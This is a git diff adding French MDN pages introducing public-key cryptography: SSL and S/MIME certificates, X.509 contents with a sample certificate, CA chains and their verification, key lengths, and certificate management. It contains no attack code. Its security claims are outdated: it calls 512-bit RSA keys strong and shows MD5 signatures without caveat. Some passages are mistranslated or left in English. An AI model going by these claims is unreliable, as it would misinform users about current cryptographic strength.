SSL requiert un certificat SSL serveur, au minimum. Comme partie du processus de négociation, le serveur présente son certificat au client afin d'authentifier son identité. Le processus d'authentification utilise le chiffrement par clef privée et les signatures numériques pour confirmer que ce serveur est bien celui-ci qu'il prétend être. Une fois le serveur authentifié, le client et le serveur utilisent des techniques de chiffrement à clefs symétriques, ce qui est rapide, pour chiffrer toutes les informations qu'ils échangent pour le reste de la session et pour détecter toutes tentatives d'altération des données qui peuvent arriver.

+ +

Les serveurs peuvent éventuellement être configurés pour demander l'authentification client aussi bien que l'authentification serveur. Dans ce cas, après le succès de l'authentification serveur, le client doit à son tour présenter son certificat au serveur afin d'authentifier son identité avant qu'une connexion SSL ne puisse s'établir.

+ +

Pour une présentation de l'authentification client avec SSL et ses différences par rapport à authentification par mot de passe, voir «  L'authentification confirme une identité ». Pour des informations plus détaillées à propos de SSL, voir « Introduction à SSL ».

+ +

Messages signés et encryptés

+ +

Certains logiciels de courriers électroniques (y compris Messenger, qui fait parti de Communicator) supportent les messages chiffrés et numériquement signés suivant un protocole largement accepté connu sous le nom de Secure Multipurpose Internet Mail Extension (S/MIME). L'utilisation de S/MIME pour signer et chiffrer des messages requiert que l'expéditeur possède un certificat S/MIME.

+ +

Un message électronique qui comprend une signature numérique fournit l'assurance qu'il a bien été envoyé par la personne dont le nom apparaît dans l'en-tête du message, authentifiant ainsi l'expéditeur. Si la signature numérique ne peut pas être validée pour le courrieleur à la fin de la réception, l'utilisateur est alerté.

+ +

La signature numérique est unique au message qu'elle accompagne. Si le message reçu diffère de quelque manière que se soit du message qui a été envoyé - même par l'ajout ou la suppression d'une virgule - la signature numérique ne peut pas être validée. Par conséquent un message signé fournit aussi une certaine assurance que les données qu'il contient n'ont pas été altérées. Comme on l'a vu au début de ce document, cette sorte d'assurance est connue sous le nom de non répudiation. En d'autres termes, lorsqu'un message est signé, il est très difficile à l'expéditeur de nier l'avoir envoyé. Ceci est capital pour de nombreuses formes de communications commerciales. Pour plus d'informations à propose du mécanisme de signature numérique, voir « Signatures numériques ».

+ +

S/MIME rend également possible le chiffrement symétrique (chiffrement à clefs publiques) des messages électroniques. C'est aussi important pour certains utilisateur professionnels. Cependant, l'utilisation du chiffrement pour les messages requiert une gestion soigneuse. Si le destinataire des messages chiffrés perd sa clef et qu'il n'a pas de sauvegarde de la clef, par exemple, les messages chiffrés ne pourront jamais être déchiffrés.

+ +

Signature de formulaire

+ +

De nombreuses formes de e-commerce requièrent la possibilité de fournir une preuve persistante qu'une personne a autorisé une transaction. Bien que SSL fournisse une authentification cliente limitée à la durée de la connexion, il ne fournit pas d'authentification persistante pour les transactions pouvant intervenir pendant cette connexion SSL. S/MIME fournit une authentification persistante pour les messages électroniques, mais le e-commerce utilise souvent des formulaires dans des pages Web plutôt que l'échange de courriel.

+ +

La technologie Red Hat connue sous le nom de signature de formulaire répond au besoin de l'authentification persistante des transactions financières. La signature de formulaire permet à un utilisateur d'associer une signature numérique avec les données Web générées comme résultat d'une transaction, telles qu'un ordre d'achat ou tout autre document financier. La clef privée associée avec soit le certificat SSL client, soit un certificat S/MIME peut être utilisée dans ce but.

+ +

Lorsqu'un utilisateur clique sur le bouton « soumettre » d'un formulaire Web qui supporte la signature de formulaire, une boîte de dialogue affiche le texte exacte à signer. L'auteur du formulaire peut soit spécifier le certificat à utiliser soit sélectionner un certificat SSL ou S/MIME parmi ceux du client installés dans Communicator. Lorsque l'utilisateur clique sur « OK », le texte est signé et les deux (le texte et la signature numérique) sont envoyés au serveur. Le serveur peut alors utiliser un utilitaire Red Hat appelé Signature Verification Tool (Outil de Vérification de Signature) pour valider la signature numérique.

+ +

Pour plus d'informations sur le support des signatures de formulaires dans les produits Red Hat, voir Red Hat Form Signing.

+ +

Ouverture unique de session

+ +

Les utilisateurs doivent souvent retenir plusieurs mots de passe pour les différents services qu'ils utilisent. Par exemple, un utilisateur peut devoir saisir des mots de passe différents pour accéder au réseau, collecter ses messages, accéder à un répertoire, utiliser le service d'agenda de son entreprise et accéder à une grande variété de serveurs. La multiplication des mots de passe devient vite un casse-tête pour les utilisateurs comme pour les administrateurs. Les utilisateurs ayant des difficultés à retenir leurs mots de passe ont tendances à en choisir de faible force et à les écrire dans des endroits accessibles. Les administrateurs doivent maintenir une base de données séparée de mot de passe sur chaque serveur et traiter des problèmes potentiels de sécurité liés au fait que des mots de passe sont envoyés sur le réseau par habitude et fréquemment.

+ +

La solution à ce problème requiert un moyen pour l'utilisateur d'ouvrir une session unique, en utilisant un mot de passe unique, et d'obtenir un accès authentifié à toutes les ressources du réseau que l'utilisateur est autorisé à employer - sans envoyer aucun autre mot de passe. Cette possibilité est connue comme ouverture de session unique.

+ +

Both client SSL certificates and S/MIME certificates can play a significant role in a

+ +

Les  certificats clients SSL et S/MIME permettent tous deux d'implémenter une ouverture de session unique, voir "L'authentification par certificat" pour un exemple d'ouverture de session unique basée sur SSL.

+ +

L'utilisateur se connecte à sa base de donnée locale de clé privée à l'aide d'un mot de passe. Puis utilise une clé privée pour signer ses messages et ainsi s'authentifier auprès de tous les serveurs nécessitant une authentification client SSL. Remarquez que dans ce processus le mot de passe n'est pas envoyé à travers le réseau. Cela simplifie l'accès du client au serveur d'une part et la gestion d'authentification côté serveur d'autre part. 

+ +

En plus de l'utilisation des certificats, une solution d'ouverture de session unique complète doit être capable d'interopérer avec les systèmes d'entreprise, tels que les systèmes d'exploitation sous-jacents qui s'appuient sur les mots de passe ou toutes autres formes d'authentification.

+ +

Signature d'objet

+ +

Communicator supporte un ensemble d'outils et de technologies appelés signature d'objet. La signature d'objet utilise des techniques standard de cryptographie à clef publique pour permettre aux utilisateurs d'obtenir des informations fiables à propos du code qu'ils téléchargent de la même façon qu'ils peuvent obtenir des informations fiables à propos des logiciels prêt-à-installer.

+ +

Plus important, la signature d'objet aide les utilisateurs et les administrateurs réseaux à prendre des décisions concernant les logiciels distribués par Internet ou intranet — par exemple, autoriser ou non les applets Java signés par une entité donnée à utiliser certaines fonctionnalités spécifiques d'un ordinateur.

+ +

Les « objets » signés avec les technologies de signature d'objet peuvent être des applets ou tout autre code Java, scripts JavaScript, plugins, ou tout autre type de fichiers. La « signature » est une signature numérique. Les objets signés et leur signature sont généralement stockés dans une archive spéciale appelé archive JAR.

+ +

Les développeurs de logiciels et toute personne désireuse de signer des fichiers à l'aide de cette technique doit tout d'abord obtenir un certificat de signature d'objet.

+ +

Contenu d'un certificat

+ +

Le contenu des certificats supportés par Red Hat et de nombreuses autres éditeurs de logiciels sont organisés selon la spécification de certificat X.509 v3, qui a été recommandée par l'International Telecommunications Union (ITU), une organisation de standardisation internationale, depuis 1988.

+ +

Les utilisateurs n'ont généralement pas besoin de connaître le contenu exact d'un certificat. Cependant les administrateurs système travaillant avec les certificats peuvent avoir besoin de se familiariser avec les informations qu'il contient.

+ +

Noms distincts

+ +

Un certificat X.509 v3 relie un nom distinct (distinguished name ou DN en anglais) à une clef publique. Un DN est une série de paires nom-valeur, telle que uid=martin, qui identifie de façon unique une entité (qui est le « sujet » du certificat).

+ +

Par exemple, voici ce que donnerait le DN typique d'un employé de Red Hat, Inc.:

+ +
uid=martin,e=martin@exemple.net,cn=Jean Martin,o=Red Hat, Inc.,c=FR
+
+ +

Les abréviation devant chaque signe égale « = » de cet exemple on les significations suivantes :

+ +
    +
  • uid : ID utilisateur
    • +
  • e : adresse électronique
    • +
  • cn : le nom courant de l'utilisateur
    • +
  • o : organisation
    • +
  • c : pays
    • +
+ +

Les DN peuvent inclure une grande variété d'autres paires nom-valeur. Elles sont utilisées pour identifier à la fois les sujets du certificat et les entrés dans les annuaires qui supportent LDAP (Lightweight Directory Access Protocol).

+ +

Les règles régissant la construction des DN peuvent parfois être complexes et ne font pas parties de l'objectif de ce document. Pour de plus amples informations à propos des DN, voir A String Representation of Distinguished Names (en).

+ +

Un certificat typique

+ +

Chaque certificat de type X.509 comprend deux sections :

+ +
    +
  • La section données inclut les informations suivantes : + +
      +
    • Le numéro de version du standard X.509 supporté par le certificat.
      • +
    • Le numéro de série du certificat. Chaque certificat émis par une autorité de certification (AC) a un numéro de série unique parmi les certificats émis par cette AC.
      • +
    • Informations
      • +
    • Informations concernant la clef publique de l'utilisateur, comprenant l'algorithme utilisé et une représentation de la clef elle-même.
      • +
    • Le DN de l'AC émettrice du certificat.
      • +
    • La période de validité du certificat (par exemple, entre le 15 novembre 1999 à 13 h 00 et le 15 novembre 2000 à 13 h 00).
      • +
    • Le DN du sujet du certificat (par exemple, dans un certificat client SSL, le DN de l'utilisateur), également appelé le nom du sujet.
      • +
    • Des extensions de certificat optionnelles, pouvant fournir des données supplémentaires utilisées par le client ou le serveur. Par exemple, l'extension de certificat type indique le type auquel appartient le certificat : un certificat client SSL, un certificat serveur SSL, un certificat de signature de message, etc. Les extensions de certificat peuvent également être utilisées pour d'autres raisons.
      • +
    +
    • +
  • La section signature inclut les informations suivantes : +
      +
    • L'algorithme de cryptographie, ou chiffrement, utilisé par l'AC émettrice pour créer sa propre signature numérique. Pour plus d'informations à propos des chiffrements, voir "Introduction à SSL."
      • +
    • La signature numérique de l'AC, obtenue par le hachage de toutes les données contenues dans le certificat et chiffrée avec la clef privée de l'AC.
      • +
    +
    • +
+ +

Voici les sections de données et de signature d'un certificat dans un format lisible par un être humain :

+ +
Certificate:
+Data:
+ Version: v3 (0x2)
+ Serial Number: 3 (0x3)
+ Signature Algorithm: PKCS #1 MD5 With RSA Encryption
+ Issuer: OU=Ace Certificate Authority, O=Ace Industry, C=US
+ Validity:
+  Not Before: Fri Oct 17 18:36:25 1997
+  Not  After: Sun Oct 17 18:36:25 1999
+ Subject: CN=Jane Doe, OU=Finance, O=Ace Industry, C=US
+ Subject Public Key Info:
+  Algorithm: PKCS #1 RSA Encryption
+  Public Key:
+   Modulus:
+    00:ca:fa:79:98:8f:19:f8:d7:de:e4:49:80:48:e6:2a:2a:86:
+    ed:27:40:4d:86:b3:05:c0:01:bb:50:15:c9:de:dc:85:19:22:
+    43:7d:45:6d:71:4e:17:3d:f0:36:4b:5b:7f:a8:51:a3:a1:00:
+    98:ce:7f:47:50:2c:93:36:7c:01:6e:cb:89:06:41:72:b5:e9:
+    73:49:38:76:ef:b6:8f:ac:49:bb:63:0f:9b:ff:16:2a:e3:0e:
+    9d:3b:af:ce:9a:3e:48:65:de:96:61:d5:0a:11:2a:a2:80:b0:
+    7d:d8:99:cb:0c:99:34:c9:ab:25:06:a8:31:ad:8c:4b:aa:54:
+    91:f4:15
+   Public Exponent: 65537 (0x10001)
+  Extensions:
+   Identifier: Certificate Type
+    Critical: no
+    Certified Usage:
+     SSL Client
+   Identifier: Authority Key Identifier
+    Critical: no
+    Key Identifier:
+     f2:f2:06:59:90:18:47:51:f5:89:33:5a:31:7a:e6:5c:fb:36:
+     26:c9
+  Signature:
+   Algorithm: PKCS #1 MD5 With RSA Encryption
+   Signature:
+    6d:23:af:f3:d3:b6:7a:df:90:df:cd:7e:18:6c:01:69:8e:54:65:fc:06:
+    30:43:34:d1:63:1f:06:7d:c3:40:a8:2a:82:c1:a4:83:2a:fb:2e:8f:fb:
+    f0:6d:ff:75:a3:78:f7:52:47:46:62:97:1d:d9:c6:11:0a:02:a2:e0:cc:
+    2a:75:6c:8b:b6:9b:87:00:7d:7c:84:76:79:ba:f8:b4:d2:62:58:c3:c5:
+    b6:c1:43:ac:63:44:42:fd:af:c8:0f:2f:38:85:6d:d6:59:e8:41:42:a5:
+    4a:e5:26:38:ff:32:78:a1:38:f1:ed:dc:0d:31:d1:b0:6d:67:e9:46:a8:
+    d:c4
+
+ +

Voici le même certificat affiché au format d'encodage 64 bytes interprété par un logiciel :

+ +
 -----BEGIN CERTIFICATE-----
+ MIICKzCCAZSgAwIBAgIBAzANBgkqhkiG9w0BAQQFADA3MQswCQYDVQQGEwJVUzER
+ MA8GA1UEChMITmV0c2NhcGUxFTATBgNVBAsTDFN1cHJpeWEncyBDQTAeFw05NzEw
+ MTgwMTM2MjVaFw05OTEwMTgwMTM2MjVaMEgxCzAJBgNVBAYTAlVTMREwDwYDVQQK
+ EwhOZXRzY2FwZTENMAsGA1UECxMEUHViczEXMBUGA1UEAxMOU3Vwcml5YSBTaGV0
+ dHkwgZ8wDQYJKoZIhvcNAQEFBQADgY0AMIGJAoGBAMr6eZiPGfjX3uRJgEjmKiqG
+ 7SdATYazBcABu1AVyd7chRkiQ31FbXFOGD3wNktbf6hRo6EAmM5/R1AskzZ8AW7L
+ iQZBcrXpc0k4du+2Q6xJu2MPm/8WKuMOnTuvzpo+SGXelmHVChEqooCwfdiZywyZ
+ NMmrJgaoMa2MS6pUkfQVAgMBAAGjNjA0MBEGCWCGSAGG+EIBAQQEAwIAgDAfBgNV
+ HSMEGDAWgBTy8gZZkBhHUfWJM1oxeuZc+zYmyTANBgkqhkiG9w0BAQQFAAOBgQBt
+ I6/z07Z635DfzX4XbAFpjlRl/AYwQzTSYx8GfcNAqCqCwaSDKvsuj/vwbf91o3j3
+ UkdGYpcd2cYRCgKi4MwqdWyLtpuHAH18hHZ5uvi00mJYw8W2wUOsY0RC/a/IDy84
+ hW3WWehBUqVK5SY4/zJ4oTjx7dwNMdGwbWfpRqjd1A==
+ -----END CERTIFICATE-----
+
+
+ +

Utiliser les certificats pour établir la confiance

+ +

Les autorités de certification (AC) sont des entités qui valident l'identité et l'émission des certificats. Elles peuvent être des organismes indépendants ou des entreprises qui utilisent leur propre logiciel d'émission de certificats (tel que Red Hat Certificate System).

+ +

Tout logiciel client ou serveur qui supporte les certificats maintient une liste des certificats d'AC de confiance. Ces certificats d'AC déterminent quels autres certificats le logiciel peut valider - en d'autres mots, dans quels émetteurs de certificats le logiciel peut avoir confiance. Dans le cas le plus simple, le logiciel ne peut valider que les certificats émis par une des AC pour lesquelles il possède le certificat. Il est également possible pour un certificat d'une AC de confiance de faire parti d'une chaîne de certificats d'AC, chacun émis par l'AC parente dans la hiérarchie de certificat.

+ +

Les sections suivantes expliquent comment les hiérarchies et les chaînes de certificats déterminent les logiciels de confiance.

+ + + +

Hiérarchies d'AC

+ +

Dans les grandes organisations, il peut être judicieux de déléguer la responsabilité de l'émission des certificats à plusieurs autorités de certification. Par exemple, le nombre de certificats requis peut être trop important à maintenir par une seule AC ; les différents services de l'organisation peuvent avoir différentes politiques d'attribution des certificats ; ou il peut être important pour l'AC d'être physiquement localisée dans la même zone géographique que les personnes auxquelles elle délivre les certificats.

+ +

Il est possible de déléguer la responsabilité de l'émission de certificats à des AC subordonnées. Le standard X.509 inclus un modèle de paramétrage d'une hiérarchie d'AC telle celle montrée à la Figure 6.

+ +

Figure 6. Exemple de hiérarchie d'AC

+ +

Dans ce modèle, l'AC racine est au sommet de la hiérarchie. Le certificat de l'AC racine est un « certificat auto-signé » : c'est-à-dire que le certificat est signé numériquement par la même entité — L'AC racine — que celle que le certificat identifie. Les AC directement subordonnées à l'AC racine on des certificats d'AC signés par l'AC racine. Les AC se trouvant sous les AC subordonnées dans la hiérarchie ont leurs certificats signés par les plus hautes AC subordonnées.

+ +

Les organisations ont une grande flexibilité quant à l'établissement de leurs hiérarchies d'AC. La figure 6 ne montre qu'un exemple ; beaucoup d'autres hiérarchies sont possibles.

+ +

Chaînes de certificat

+ +

Les hiérarchie d'AC se reflètent dans les chaînes de certificats. Une chaîne de certificats est une série de certificats émis par des AC successives. La figure 7 montre une chaîne de certificats leading from a certificate that identifies some entity through two subordinate CA certificates to the CA certificate for the root CA (based on the CA hierarchy shown in Figure 6).

+ +

Figure 7. Exemple de chaîne de certificat

+ +

Une chaîne de certificats trace le chemin des certificats d'une branche de la hiérarchie jusqu'à la racine. Dans une chaîne de certificats, on a donc :

+ +
    +
  • chaque certificat est suivi par le certificat de son émetteur.
    • +
  • chaque certificat contient le nom (DN) de l'émetteur du certificat, qui est identique à celui du nom du sujet du certificat suivant dans la chaîne.
    • +
+ +

Dans la figure 7, Le certificat Engineering CA contient le DN de l'AC (qui est USA CA), qui a émis le certificat. Le DN de USA CA est également le nom du sujet du prochain certificat dans la chaîne.

+ +
    +
  • Chaque certificat est signé avec la clef privée de son émetteur. La signature peut être vérifiée avec la clef publique du certificat de l'émetteur, qui est le prochain certificat dans la chaîne.
    • +
+ +

Dans la figure 7, la clef publique dans le certificat de USA CA peut être utilisée pour vérifier que la signature numérique de USA CA dans le certificat de Engineering CA.

+ +

Vérification d'une chaîne de certificat

+ +

La vérification de la chaîne de certificats est le processus permettant de s'assurer que la chaîne de certificats donnée est bien formée, proprement signée et sécurisée. Les logiciels Red Hat utilisent la procédure suivante pour former et vérifier une chaîne de certificats, en commençant par le certificat présenté pour l'authentification :

+ +
    +
  1. La période de validité du certificat est vérifiée par rapport à la date actuelle fournie par l'horloge système du vérificateur.
    2. +
  2. Le certificat de l'émetteur est localisé. La source peut être une base de certificats locale du vérificateur (du client ou du serveur) ou une chaîne de certificats fournit par le sujet (par exemple, par une connexion SSL).
    3. +
  3. La signature du certificat est vérifiée à l'aide de la clef publique du certificat de l'émetteur.
    4. +
  4. Si le certificat de l'émetteur est présent dans les certificats de confiance du vérificateur, la vérification s'arrête avec succès à cette étape. Autrement, le certificat de l'émetteur est vérifié pour être certain qu'il contient les indications appropriées concernant les AC subordonnées dans l'extension du type de certificat de Red Hat, et la chaîne de vérification recommence depuis l'étape 1, mais avec le nouveau certificat. La figure 8 présente un exemple de ce processus.
    5. +
+ +

Figure 8. Vérification d'un chaîne de certificats complète, jusqu'à l'AC racine

+ +

La figure 8 décrit ce qui se passe lorsque seule l'AC racine est incluse dans la base locale de certificats du vérificateur. Si un certificat d'une des AC intermédiaires présentes dans cette figure, telle que Engineering CA, est trouvé dans la base locale de certificats du vérificateur, la vérification s'arrête à ce certificat, comme décrit à la figure 9.

+ +

Figure 9. Vérification d'une chaîne de certificats, jusqu'à une AC intermédiaire

+ +

Des dates de validité expirées, une signature invalide ou l'absence d'un certificat pour l'AC émettrice à n'importe quelle étape de la chaîne de certificats provoquera un échec de l'authentification. Par exemple, la figure 10 montre l'échec d'une vérification si le certificat de l'AC racine ou celui d'une AC intermédiaire ne sont pas présent dans la base locale de certificats du vérificateur.

+ +

Figure 10. Une chaîne de certificat qui ne peut pas être vérifiée

+ +

Pour des informations générales sur le fonctionnement des signatures numériques, voir « Signatures numériques ». Pour une description plus détaillée sur le processus de vérification des signatures dans le contexte d'une authentification SSL client-serveur, voir « Introduction à SSL ».

+ +

{{PreviousNext("Introduction à la cryptographie à clef publique:Signatures numériques", "Introduction à la cryptographie à clef publique:Gestion des certificats", "Gestion des certificats")}}

diff --git "a/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/chiffrement_et_d\303\251chiffrement/index.html" "b/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/chiffrement_et_d\303\251chiffrement/index.html" new file mode 100644 index 0000000000..6abf3ba1dc --- /dev/null +++ "b/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/chiffrement_et_d\303\251chiffrement/index.html" @@ -0,0 +1,55 @@ +--- +title: Chiffrement et déchiffrement +slug: Introduction_à_la_cryptographie_à_clef_publique/Chiffrement_et_déchiffrement +tags: + - Sécurité +--- +

Le chiffrement est un processus de transformation des informations de façon à les rendre inintelligibles à toute personne autre que le destinataire. Le déchiffrement est le processus inverse du chiffrement, il sert à transformer les informations de façon à les rendre à nouveau intelligibles. Un algorithme de cryptographie, également appelé chiffre, est une fonction mathématique utilisée pour le chiffrement ou le déchiffrement. Dans la plupart des cas, deux fonctions complémentaires sont employées, l'une pour le chiffrement et la second pour le déchiffrement.

+ +

Dans la cryptographie moderne, la possibilité de conserver des informations secrètes ne se fait pas à partir de l'algorithme de cryptographie, largement connu, mais avec un nombre appelé clef qui doit être utilisé avec l'algorithme de cryptographie afin de produire un résultat chiffré ou pour déchiffrer des informations précédemment chiffrées. Le déchiffrement avec la bonne clef est simple. Sans cette clef, il devient très difficile et dans certains cas impossible pour tous les besoins pratiques.

+ +

Les sections suivantes introduisent à l'utilisation des clefs pour le chiffrement et le déchiffrement.

+ + + +

Chiffrement par clef symétrique

+ +

Avec le chiffrement par clef symétrique, le chiffrement peut être calculé avec la clef de déchiffrement et vice versa. Avec la plupart des algorithme symétrique, la même clef est utilisée pour le chiffrement et le déchiffrement, comme indiqué sur la figure 1.

+ +

Figure 1. Chiffrement par clef symétrique

+ +

L'implémentation d'un chiffrement par clef symétrique peut être hautement efficace, ainsi les utilisateurs ne subissent pas de longs délais d'attente lors du chiffrement ou du déchiffrement. Le chiffrement par clef symétrique fournit un haut degré d'authentification, car les informations chiffrées avec une clef symétrique ne peuvent pas être déchiffrées avec une clef symétrique différente. Ainsi, tant que la clef symétrique est gardée secrète par les deux correspondants qui l'utilise pour le chiffrement de leurs communications, chacun d'eux est assuré qu'il communique bien avec l'autre aussi longtemps que les messages déchiffrés ont un sens.

+ +

Le chiffrement par clef symétrique est efficace tant que les deux parties en présence gardent la clef secrète. Si quelqu'un d'autre découvre la clef, cela met en cause la confidentialité et l'authenticité des informations échangées. Une personne possédant une clef symétrique non autorisée peut non seulement déchiffrer les messages envoyé avec cette clef, mais elle peut également chiffrer de nouveaux messages et les envoyer comme s'ils provenaient d'un des deux correspondants qui utilisait originellement la clef.

+ +

Le chiffrement par clef symétrique joue un rôle important dans le protocole SSL, qui est largement utilisé pour l'authentification, la détection des altérations de données, et le chiffrement sur les réseaux TCP/IP. SSL utilise également les techniques de chiffrement par clef publique qui est décrit dans la section suivante.

+ +

Chiffrement par clef publique

+ +

Les implémentations du chiffrement à clef publique les plus communément utilisées sont fondées sur des algorithmes brevetés parRSA Data Security. Par conséquent, cette section décrit l'approche RSA du chiffrement à clef publique.

+ +

Le chiffrement à clef publique (également appelé chiffrement asymétrique) utilise une paire de clefs, l'une publique et l'autre privée, associées à une entité qui a besoin d'authentifier son identité de façon électronique ou de chiffrer des données. La clef publique est publiée et la clef privée correspondante est conservée secrète par l'entité. Pour plus d'informations sur les moyens de publication des clefs publiques, voir « Certificats et Authentification ». Les données chiffrées avec la clef publique ne peuvent être déchiffrées qu'avec votre clef privée. Figure 2 montre une vue simplifiée du fonctionnement du chiffrement par clef publique.

+ +

Figure 2. Chiffrement par clef publique

+ +

Dans le schéma de la Figure 2, vous distribuez librement une clef publique, et vous seul serez capable de lire les données chiffrées en utilisant cette clef. En général, pour envoyer des données chiffrées à quelqu'un, vous chiffrez les données avec la clef publique de cette personne, et le destinataire des données chiffrées les déchiffrera avec la clef privée correspondante.

+ +

Comparée au chiffrement par clef symétrique, le chiffrement par clef publique requiert plus de calcul et il n'est donc pas toujours adapté pour de grandes quantités de données. Cependant, il est possible d'utiliser le chiffrement par clef publique pour envoyer une clef symétrique, qui peut alors être utilisée pour chiffrer des données supplémentaires. C'est cette approche qu'utilise le protocole SSL.

+ +

Comme cela peut arriver, l'opération inverse de celle décrite dans la figure 2 est également possible : les données chiffrées avec votre clef privée ne peuvent être déchiffrées qu'avec votre clef public. Cependant ce n'est pas le meilleur moyen de chiffrer des données sensibles, car cela signifie que n'importe qui possédant votre clef publique, qui par définition est publiée, pourra déchiffrer les données. Néanmoins, le chiffrement par clef publique est utile, parce qu'il signifie que vous pouvez utiliser votre clef privée pour signer des données avec votre signature numérique - une condition importante pour le commerce électronique ou tout autre application commerciale de la cryptographie. Les logiciels clients tels que Netscape Communicator peuvent alors utiliser votre clef publique pour confirmer que le message a été signé avec votre clef privée et qu'il n'a pas été altéré depuis sa signature. « Signatures numériques » et les sections suivantes décrivent le fonctionnement du processus de confirmation.

+ +

Longueur de clef et force du chiffrement

+ +

En général, la force d'un chiffrement est rapporté à la difficulté à casser la clef, qui dépend à la foi du chiffrement utilisé et de la longueur de la clef. Par exemple, la difficulté de découvrir la clef du chiffrement RSA le plus communément utilisé pour le chiffrement par clef publique dépend de la difficulté de factoriser de grands nombres, un problème mathématique bien connu.

+ +

La force d'un chiffrement est souvent décrite en terme de taille des clefs utilisées pour l'encryptage : en général, les plus longues clefs fournissent les plus forts chiffrements. La longueur d'une clef se mesure en bits. Par exemple, des clefs de 128 bits utilisées avec un chiffrement par clef symétrique RC4 supportées par SSL fournissent significativement une meilleure protection cryptographique que des clefs de 40 bits associées au même chiffrement. En gros, un chiffrement RC4 128 bits est 3 x 1026 fois plus fort qu'un chiffrement RC4 40 bits. Pour plus d'informations à propos de RC4 et des autres chiffrements utilisés avec SSL, voir « Introduction à SSL ».

+ +

Les différent chiffrements peuvent requérir différentes longueurs de clef pour parvenir au même niveau de cryptage. Le chiffrement RSA utilisé pour le chiffrement par clef publique, par exemple, ne peut utiliser qu'un sous-ensemble de toutes les valeurs possibles pour une clef d'une longueur donnée, à cause de la nature du problème mathématique sur lequel il est basé. Les autres chiffrements, tels que ceux utilisés par le chiffrement à clef symétrique, peuvent utiliser toutes les valeurs possibles pour une clef de longueur donnée, plutôt qu'un sous-ensemble de ces valeurs. Ainsi, une clef de 128 bits associée à un chiffrement par clef symétrique fournira un meilleur cryptage des données qu'une clef de 128 bits associée à un chiffrement RSA par clef publique. Cette différence explique pourquoi les chiffrement par clef publique RSA doivent utiliser des clefs de 512 bits (voire plus) pour être considérés forts du point du vue cryptographique, alors que les chiffrements par clef symétrique peuvent parvenir au même niveau de protection avec une clef de 64 bits. Même ce haut niveau de chiffrement peut être vulnérable aux attaques extérieures dans un futur proche.

+ +

Parce que la possibilité d'intercepter clandestinement des informations chiffrées et de pouvoir les déchiffrer est historiquement une importante activité militaire, le gouvernement étasunien a restreint l'exportation de logiciels de cryptographie, incluant la plupart des logiciels permettant l'utilisation de clefs de chiffrement de plus de 40 bits

+ +

{{PreviousNext("Introduction à la cryptographie à clef publique:Les problèmes de sécurité sur Internet", "Introduction à la cryptographie à clef publique:Signatures numériques")}}

diff --git "a/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/gestion_des_certificats/index.html" "b/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/gestion_des_certificats/index.html" new file mode 100644 index 0000000000..cd835c6f24 --- /dev/null +++ "b/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/gestion_des_certificats/index.html" @@ -0,0 +1,53 @@ +--- +title: Gestion des certificats +slug: Introduction_à_la_cryptographie_à_clef_publique/Gestion_des_certificats +tags: + - Sécurité +--- +

L'ensemble des standards et des services facilitant l'utilisation de la cryptographie à clef publique et des certificats X.509 v3 dans un environnement réseau est appelé public key infrastructure (PKI ou infrastructure à clef publique). La gestion de PKI est un sujet complexe qui dépasse le cadre de se document. Les sections qui suivent présentent quelques-uns des problèmes liés à la gestion de certificats qu'on retrouve dans les produits Red Hat.

+ +

Émission de certificats

+ +

Le processus d'émission d'un certificat dépend de l'autorité de certification qui l'a émis et du but dans lequel il l'a été. Les processus d'émission de formulaires non numériques varient de façons identiques. Par exemple, si vous désirez obtenir une carte d'identité générique (pas un permis de conduire) du Department of Motor Vehicles de l'état de California, les conditions sont claires : vous devez présenter un justificatif d'identité, tel qu'une facture à votre nom, et une carte d'étudiant. Si vous désirez un permis de conduire en bonne et due forme, vous devez en plus passer un test de conduite la première fois que vous le réclamez et un test sur le code de la route pour son renouvellement. Si vous voulez obtenir un permis de conduire commercial pour un 38-tonnes, les conditions sont plus exigeantes. Si vous vivez dans un autre état ou un autre pays, les conditions d'obtention de ces différents permis de conduire seront différentes.

+ +

De même, les différentes autorités de certification ont différentes procédures d'émission des différents types de certificats. Dans certains cas, la seule condition pourra être votre adresse électronique. Dans d'autres cas, un nom d'utilisateur et un mot de passe vous seront demandés. À l'autre bout de l'échelle, pour les certificats identifiants des personnes pouvant prendre des décisions importantes, le processus d'émission pourra requérir des documents notariés, une enquête de fond et un entretien personnel.

+ +

Selon les politiques de l'organisation, le processus d'émission des certificats peut soit être complètement transparent pour l'utilisateur, soit exiger une participation significative de l'utilisateur et des procédures complexes. En général, l'émission de certificats doit être flexible, ainsi les organisations peuvent les adapter à leurs besoins.

+ +

Red Hat Certificate System permet à une organisation de paramètrer sa propre autorité de certification et d'émission de certificats.

+ +

L'émission de certificats est l'une des nombreuses tâches de gestion qui peuvent être déléguées à une autorité de certification indépendante.

+ +

Certificats et annuaire LDAP

+ +

LeLightweight Directory Access Protocol (LDAP) d'accès aux services d'annuaire propose une grande flexibilité pour la gestion des certificats d'une organisation. Les administrateurs systèmes peuvent stocker la plupart des informations requises par la gestion des certificats dans un annuaire compatible LDAP. Par exemple, une autorité de certification peut utiliser les informations contenues dans un annuaire pour préremplir un certificat avec les informations concernant un nouvel employé. L'autorité de certification peut niveler les informations de l'annuaire de nombreuses manières pour émettre les certificats un à un ou en groupe, en utilisant un éventail des différentes techniques d'identification en fonction de la politique de sécurité d'une organisation donnée. Les autres routines des tâches de gestion, telles que la gestion de clefs, le renouvellement ou la révocation de certificats, peuvent être partiellement ou pleinement automatisées à l'aide de l'annuaire.

+ +

Les informations stockées dans l'annuaire peuvent également être utilisées en association avec les certificats pour contrôler l'accès aux différentes ressources disponibles sur un réseau en fonction des utilisateurs ou des groupes d'utilisateurs. L'émission de certificats et toutes les tâches de gestion des certificats font intégralement parties de la gestion des utilisateurs et des groupes d'utilisateurs.

+ +

En général, les services d'annuaires performants sont une brique essentielle de toute stratégie de gestion des certificats. Red HatDirectory Server est pleinement intégré à Red HatCertificate System afin de fournir une solution de gestion des certificats complète.

+ +

Gestion des clefs

+ +

